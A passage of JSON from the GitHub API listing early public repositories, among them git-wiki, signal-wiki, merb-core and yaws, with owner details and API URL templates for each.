hub.com/repos/mojombo/chronic/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/chronic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/chronic/labels{/name}"},{"id":165,"name":"git-wiki","full_name":"sr/git-wiki","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/git-wiki","description":"A quick & dirty git-powered Sinatra wiki","fork":false,"url":"https://api.github.com/repos/sr/git-wiki","forks_url":"https://api.github.com/repos/sr/git-wiki/forks","keys_url":"https://api.github.com/repos/sr/git-wiki/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/git-wiki/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/git-wiki/teams","hooks_url":"https://api.github.com/repos/sr/git-wiki/hooks","issue_events_url":"https://api.github.com/repos/sr/git-wiki/issues/events{/number}","events_url":"https://api.github.com/repos/sr/git-wiki/events","assignees_url":"https://api.github.com/repos/sr/git-wiki/assignees{/user}","branches_url":"https://api.github.com/repos/sr/git-wiki/branches{/branch}","tags_url":"https://api.github.com/repos/sr/git-wiki/tags","blobs_url":"https://api.github.com/repos/sr/git-wiki/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/git-wiki/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/git-wiki/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/git-wiki/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/git-wiki/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/git-wiki/languages","stargazers_url":"https://api.github.com/repos/sr/git-wiki/stargazers","contributors_url":"https://api.github.com/repos/sr/git-wiki/contributors","subscribers_url":"https://api.github.com/repos/sr/git-wiki/subscribers","subscription_url":"https://api.github.com/repos/sr/git-wiki/subscription","commits_url":"https://api.github.com/repos/sr/git-wiki/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/git-wiki/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/git-wiki/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/git-wiki/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/git-wiki/contents/{+path}","compare_url":"https://api.github.com/repos/sr/git-wiki/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/git-wiki/merges","archive_url":"https://api.github.com/repos/sr/git-wiki/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/git-wiki/downloads","issues_url":"https://api.github.com/repos/sr/git-wiki/issues{/number}","pulls_url":"https://api.github.com/repos/sr/git-wiki/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/git-wiki/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/git-wiki/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/git-wiki/labels{/name}"},{"id":176,"name":"ambitious_activeldap","full_name":"automatthew/ambitious_activeldap","owner":{"login":"automatthew","id":105,"avatar_url":"https://2.gravatar.com/avatar/491d5a2b6e9c9346e2d67da31a633457?d=https%3A%2F%2Fidenticons.github.com%2F65b9eea6e1cc6bb9f0cd2a47751a186f.png","gravatar_id":"491d5a2b6e9c9346e2d67da31a633457","url":"https://api.github.com/users/automatthew","html_url":"https://github.com/automatthew","followers_url":"https://api.github.com/users/automatthew/followers","following_url":"https://api.github.com/users/automatthew/following{/other_user}","gists_url":"https://api.github.com/users/automatthew/gists{/gist_id}","starred_url":"https://api.github.com/users/automatthew/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/automatthew/subscriptions","organizations_url":"https://api.github.com/users/automatthew/orgs","repos_url":"https://api.github.com/users/automatthew/repos","events_url":"https://api.github.com/users/automatthew/events{/privacy}","received_events_url":"https://api.github.com/users/automatthew/received_events","type":"User"},"private":false,"html_url":"https://github.com/automatthew/ambitious_activeldap","description":"Ambition adapter for ActiveLdap","fork":false,"url":"https://api.github.com/repos/automatthew/ambitious_activeldap","forks_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/forks","keys_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/teams","hooks_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/hooks","issue_events_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/issues/events{/number}","events_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/events","assignees_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/assignees{/user}","branches_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/branches{/branch}","tags_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/tags","blobs_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/refs{/sha}","trees_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/statuses/{sha}","languages_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/languages","stargazers_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/stargazers","contributors_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/contributors","subscribers_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/subscribers","subscription_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/subscription","commits_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/commits{/sha}","git_commits_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/commits{/sha}","comments_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/comments{/number}","issue_comment_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/issues/comments/{number}","contents_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/contents/{+path}","compare_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/merges","archive_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/downloads","issues_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/issues{/number}","pulls_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/pulls{/number}","milestones_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/milestones{/number}","notifications_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/labels{/name}"},{"id":177,"name":"signal-wiki","full_name":"queso/signal-wiki","owner":{"login":"queso","id":106,"avatar_url":"https://2.gravatar.com/avatar/089ddf30c09022b92363dd0d8ce2bdfd?d=https%3A%2F%2Fidenticons.github.com%2Ff0935e4cd5920aa6c7c996a5ee53a70f.png","gravatar_id":"089ddf30c09022b92363dd0d8ce2bdfd","url":"https://api.github.com/users/queso","html_url":"https://github.com/queso","followers_url":"https://api.github.com/users/queso/followers","following_url":"https://api.github.com/users/queso/following{/other_user}","gists_url":"https://api.github.com/users/queso/gists{/gist_id}","starred_url":"https://api.github.com/users/queso/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/queso/subscriptions","organizations_url":"https://api.github.com/users/queso/orgs","repos_url":"https://api.github.com/users/queso/repos","events_url":"https://api.github.com/users/queso/events{/privacy}","received_events_url":"https://api.github.com/users/queso/received_events","type":"User"},"private":false,"html_url":"https://github.com/queso/signal-wiki","description":"The easy to use rails wiki","fork":false,"url":"https://api.github.com/repos/queso/signal-wiki","forks_url":"https://api.github.com/repos/queso/signal-wiki/forks","keys_url":"https://api.github.com/repos/queso/signal-wiki/keys{/key_id}","collaborators_url":"https://api.github.com/repos/queso/signal-wiki/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/queso/signal-wiki/teams","hooks_url":"https://api.github.com/repos/queso/signal-wiki/hooks","issue_events_url":"https://api.github.com/repos/queso/signal-wiki/issues/events{/number}","events_url":"https://api.github.com/repos/queso/signal-wiki/events","assignees_url":"https://api.github.com/repos/queso/signal-wiki/assignees{/user}","branches_url":"https://api.github.com/repos/queso/signal-wiki/branches{/branch}","tags_url":"https://api.github.com/repos/queso/signal-wiki/tags","blobs_url":"https://api.github.com/repos/queso/signal-wiki/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/queso/signal-wiki/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/queso/signal-wiki/git/refs{/sha}","trees_url":"https://api.github.com/repos/queso/signal-wiki/git/trees{/sha}","statuses_url":"https://api.github.com/repos/queso/signal-wiki/statuses/{sha}","languages_url":"https://api.github.com/repos/queso/signal-wiki/languages","stargazers_url":"https://api.github.com/repos/queso/signal-wiki/stargazers","contributors_url":"https://api.github.com/repos/queso/signal-wiki/contributors","subscribers_url":"https://api.github.com/repos/queso/signal-wiki/subscribers","subscription_url":"https://api.github.com/repos/queso/signal-wiki/subscription","commits_url":"https://api.github.com/repos/queso/signal-wiki/commits{/sha}","git_commits_url":"https://api.github.com/repos/queso/signal-wiki/git/commits{/sha}","comments_url":"https://api.github.com/repos/queso/signal-wiki/comments{/number}","issue_comment_url":"https://api.github.com/repos/queso/signal-wiki/issues/comments/{number}","contents_url":"https://api.github.com/repos/queso/signal-wiki/contents/{+path}","compare_url":"https://api.github.com/repos/queso/signal-wiki/compare/{base}...{head}","merges_url":"https://api.github.com/repos/queso/signal-wiki/merges","archive_url":"https://api.github.com/repos/queso/signal-wiki/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/queso/signal-wiki/downloads","issues_url":"https://api.github.com/repos/queso/signal-wiki/issues{/number}","pulls_url":"https://api.github.com/repos/queso/signal-wiki/pulls{/number}","milestones_url":"https://api.github.com/repos/queso/signal-wiki/milestones{/number}","notifications_url":"https://api.github.com/repos/queso/signal-wiki/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/queso/signal-wiki/labels{/name}"},{"id":179,"name":"ruby-on-rails-tmbundle","full_name":"drnic/ruby-on-rails-tmbundle","owner":{"login":"drnic","id":108,"avatar_url":"https://2.gravatar.com/avatar/cb2b768a5e546b24052ea03334e43676?d=https%3A%2F%2Fidenticons.github.com%2Fa3c65c2974270fd093ee8a9bf8ae7d0b.png","gravatar_id":"cb2b768a5e546b24052ea03334e43676","url":"https://api.github.com/users/drnic","html_url":"https://github.com/drnic","followers_url":"https://api.github.com/users/drnic/followers","following_url":"https://api.github.com/users/drnic/following{/other_user}","gists_url":"https://api.github.com/users/drnic/gists{/gist_id}","starred_url":"https://api.github.com/users/drnic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drnic/subscriptions","organizations_url":"https://api.github.com/users/drnic/orgs","repos_url":"https://api.github.com/users/drnic/repos","events_url":"https://api.github.com/users/drnic/events{/privacy}","received_events_url":"https://api.github.com/users/drnic/received_events","type":"User"},"private":false,"html_url":"https://github.com/drnic/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle [Learn it with PeepCode - http://peepcode.com/products/textmate-for-rails-2]","fork":false,"url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/languages","stargazers_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/subscription","commits_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/merges","archive_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/downloads","issues_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/labels{/name}"},{"id":185,"name":"low-pro-for-jquery","full_name":"danwrong/low-pro-for-jquery","owner":{"login":"danwrong","id":110,"avatar_url":"https://1.gravatar.com/avatar/0727907ae68db2e8ebc1ea1b01f00d69?d=https%3A%2F%2Fidenticons.github.com%2F5f93f983524def3dca464469d2cf9f3e.png","gravatar_id":"0727907ae68db2e8ebc1ea1b01f00d69","url":"https://api.github.com/users/danwrong","html_url":"https://github.com/danwrong","followers_url":"https://api.github.com/users/danwrong/followers","following_url":"https://api.github.com/users/danwrong/following{/other_user}","gists_url":"https://api.github.com/users/danwrong/gists{/gist_id}","starred_url":"https://api.github.com/users/danwrong/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danwrong/subscriptions","organizations_url":"https://api.github.com/users/danwrong/orgs","repos_url":"https://api.github.com/users/danwrong/repos","events_url":"https://api.github.com/users/danwrong/events{/privacy}","received_events_url":"https://api.github.com/users/danwrong/received_events","type":"User"},"private":false,"html_url":"https://github.com/danwrong/low-pro-for-jquery","description":"A jQuery plugin version of the Low Pro behavior framework.","fork":false,"url":"https://api.github.com/repos/danwrong/low-pro-for-jquery","forks_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/forks","keys_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/keys{/key_id}","collaborators_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/teams","hooks_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/hooks","issue_events_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/issues/events{/number}","events_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/events","assignees_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/assignees{/user}","branches_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/branches{/branch}","tags_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/tags","blobs_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/refs{/sha}","trees_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/trees{/sha}","statuses_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/statuses/{sha}","languages_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/languages","stargazers_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/stargazers","contributors_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/contributors","subscribers_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/subscribers","subscription_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/subscription","commits_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/commits{/sha}","git_commits_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/commits{/sha}","comments_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/comments{/number}","issue_comment_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/issues/comments/{number}","contents_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/contents/{+path}","compare_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/compare/{base}...{head}","merges_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/merges","archive_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/downloads","issues_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/issues{/number}","pulls_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/pulls{/number}","milestones_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/milestones{/number}","notifications_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/labels{/name}"},{"id":186,"name":"merb-core","full_name":"wayneeseguin/merb-core","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/merb-core","description":"Merb Core: All you need. None you don't.","fork":true,"url":"https://api.github.com/repos/wayneeseguin/merb-core","forks_url":"https://api.github.com/repos/wayneeseguin/merb-core/forks","keys_url":"https://api.github.com/repos/wayneeseguin/merb-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/merb-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/merb-core/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/merb-core/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/merb-core/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/merb-core/events","assignees_url":"https://api.github.com/repos/wayneeseguin/merb-core/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/merb-core/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/merb-core/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/merb-core/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/merb-core/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/merb-core/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/merb-core/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/merb-core/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/merb-core/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/merb-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/merb-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/merb-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/merb-core/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/merb-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/merb-core/merges","archive_url":"https://api.github.com/repos/wayneeseguin/merb-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/merb-core/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/merb-core/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/merb-core/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/merb-core/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/merb-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/merb-core/labels{/name}"},{"id":190,"name":"dst","full_name":"sr/dst","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/dst","description":"todo-list manager I wrote back in 2008 with the help of Gregory Brown in order to learn Ruby and TDD","fork":false,"url":"https://api.github.com/repos/sr/dst","forks_url":"https://api.github.com/repos/sr/dst/forks","keys_url":"https://api.github.com/repos/sr/dst/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/dst/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/dst/teams","hooks_url":"https://api.github.com/repos/sr/dst/hooks","issue_events_url":"https://api.github.com/repos/sr/dst/issues/events{/number}","events_url":"https://api.github.com/repos/sr/dst/events","assignees_url":"https://api.github.com/repos/sr/dst/assignees{/user}","branches_url":"https://api.github.com/repos/sr/dst/branches{/branch}","tags_url":"https://api.github.com/repos/sr/dst/tags","blobs_url":"https://api.github.com/repos/sr/dst/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/dst/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/dst/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/dst/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/dst/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/dst/languages","stargazers_url":"https://api.github.com/repos/sr/dst/stargazers","contributors_url":"https://api.github.com/repos/sr/dst/contributors","subscribers_url":"https://api.github.com/repos/sr/dst/subscribers","subscription_url":"https://api.github.com/repos/sr/dst/subscription","commits_url":"https://api.github.com/repos/sr/dst/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/dst/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/dst/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/dst/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/dst/contents/{+path}","compare_url":"https://api.github.com/repos/sr/dst/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/dst/merges","archive_url":"https://api.github.com/repos/sr/dst/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/dst/downloads","issues_url":"https://api.github.com/repos/sr/dst/issues{/number}","pulls_url":"https://api.github.com/repos/sr/dst/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/dst/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/dst/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/dst/labels{/name}"},{"id":191,"name":"yaws","full_name":"mojombo/yaws","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/yaws","description":"YAWS is an erlang web server","fork":false,"url":"https://api.github.com/repos/mojombo/yaws","forks_url":"https://api.github.com/repos/mojombo/yaws/forks","keys_url":"https://api.github.com/repos/mojombo/yaws/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/yaws/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/yaws/teams","hooks_url":"https://api.github.com/repos/mojombo/yaws/hooks","issue_events_url":"https://api.github.com/repos/mojombo/yaws/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/yaws/events","assignees_url":"https://api.github.com/repos/mojombo/yaws/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/yaws/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/yaws/tags","blobs_url":"https://api.github.com/repos/mojombo/yaws/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/yaws/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/yaws/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/yaws/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/yaws/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/yaws/languages","stargazers_url":"https://api.github.com/repos/mojombo/yaws/stargazers","contributors_url":"https://api.github.com/repos/mojombo/yaws/contributors","subscribers_url":"https://api.github.com/repos/mojombo/yaws/subscribers","subscription_url":"https://api.github.com/repos/mojombo/yaws/subscription","commits_url":"https://api.github.com/repos/mojombo/yaws/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/yaws/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/yaws/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/yaws/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/yaws/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/yaws/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/yaws/merges","archive_url":"https://api.github.com/repos/mojombo/yaws/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/yaws/downloads","issues_url":"https://api.github.com/repos/mojombo/yaws/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/yaws/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/yaws/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/yaws/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/yaws/labels{/name}"},{"id":192,"name":"yaws","full_name":"KirinDave/yaws","owner":{"login":"KirinDave","id":36,"avatar_url":"https://2.gravatar.com/avatar/d4fabd6c08ac228a3ff846d9d0d1580e?d=https%3A%2F%2Fidenticons.github.com%2F19ca14e7ea6328a42e0eb13d585e4c22.png","gravatar_id":"d4fabd6c08ac228a3ff846d9d0d1580e","url":"https://api.github.com/users/KirinDave","html_url":"https://github.com/KirinDave","followers_url":"https://api.github.com/users/KirinDave/followers","following_url":"https://api.github.com/users/KirinDave/following{/other_user}","gists_url":"https://api.github.com/users/KirinDave/gists{/gist_id}","starred_url":"https://api.github.com/users/KirinDave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KirinDave/subscriptions","organizations_url":"https